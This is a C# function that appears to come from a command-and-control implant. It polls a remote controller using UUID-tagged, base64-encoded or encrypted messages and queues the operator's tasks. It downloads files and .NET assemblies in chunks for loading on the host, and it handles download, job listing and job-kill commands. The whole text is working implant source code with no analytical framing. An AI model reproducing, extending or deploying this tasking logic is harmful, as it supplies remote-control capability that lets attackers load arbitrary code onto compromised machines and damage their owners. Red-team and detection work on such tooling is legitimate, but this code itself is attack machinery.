public static bool GetTasking(Utils.JobList JobList) { try { foreach (Utils.Job Job in JobList.jobs) { if (Job.upload) { if ((Job.total_chunks != Job.chunk_num) & (Job.total_chunks != 0)) { if (!Job.chunking_started) { Utils.UploadTasking UploadTasking = Utils.UploadTasking.FromJson(Job.parameters); Job.file_id = UploadTasking.assembly_id; Job.path = UploadTasking.remote_path; Utils.Upload Upload = new Utils.Upload { action = "upload", chunk_size = Config.ChunkSize, file_id = Job.file_id, chunk_num = Job.chunk_num, full_path = Job.path, task_id = Job.task_id }; Utils.UploadResponse UploadResponse = Http.GetUpload(Upload); Job.total_chunks = UploadResponse.total_chunks; Job.chunks.Add(UploadResponse.chunk_data); Job.chunking_started = true; } else { Job.chunk_num++; Utils.Upload ChunkUpload = new Utils.Upload { action = "upload", chunk_size = Config.ChunkSize, file_id = Job.file_id, chunk_num = Job.chunk_num, full_path = Job.path, task_id = Job.task_id }; Utils.UploadResponse UploadResponse = Http.GetUpload(ChunkUpload); Job.chunks.Add(UploadResponse.chunk_data); } } } } Utils.GetTasking GetTasking = new Utils.GetTasking { action = "get_tasking", tasking_size = -1 }; #if DEFAULT string SerializedData = Convert.ToBase64String(Encoding.UTF8.GetBytes(Config.UUID + Utils.GetTasking.ToJson(GetTasking))); #elif (DEFAULT_PSK || DEFAULT_EKE) string SerializedData = Crypto.Encrypt(Utils.GetTasking.ToJson(GetTasking)); #endif var result = Get(SerializedData); #if DEFAULT string final_result = Encoding.UTF8.GetString(Convert.FromBase64String(result)); #elif (DEFAULT_PSK || DEFAULT_EKE) string final_result = Crypto.Decrypt(result); #endif if (final_result.Substring(0, 36) != Config.UUID) { return(false); } Utils.GetTaskingResponse GetTaskResponse = Utils.GetTaskingResponse.FromJson(final_result.Substring(36)); if (GetTaskResponse.tasks[0].command == "") { return(false); } foreach (Utils.Task task in GetTaskResponse.tasks) { Utils.Job Job = new Utils.Job { job_id = JobList.job_count, task_id = task.id, completed = false, job_started = false, success = false, command = task.command, parameters = task.parameters, total_chunks = 0 }; if (Job.command == "loadassembly" || Job.command == "upload") { Job.upload = true; Job.total_chunks = 2; Job.chunk_num = 1; } else if (Job.command == "download") { Job.download = true; } else if (Job.command == "jobs") { Job.response = Modules.GetJobs(JobList); Job.completed = true; Job.success = true; } else if (Job.command == "jobkill") { if (Modules.KillJob(JobList, Int32.Parse(Job.parameters))) { Job.completed = true; Job.success = true; Job.response = "Job successfully removed"; } else { Job.completed = true; Job.success = false; Job.response = "Could not remove job"; } } JobList.jobs.Add(Job); ++JobList.job_count; } return(true); } catch { return(false); } }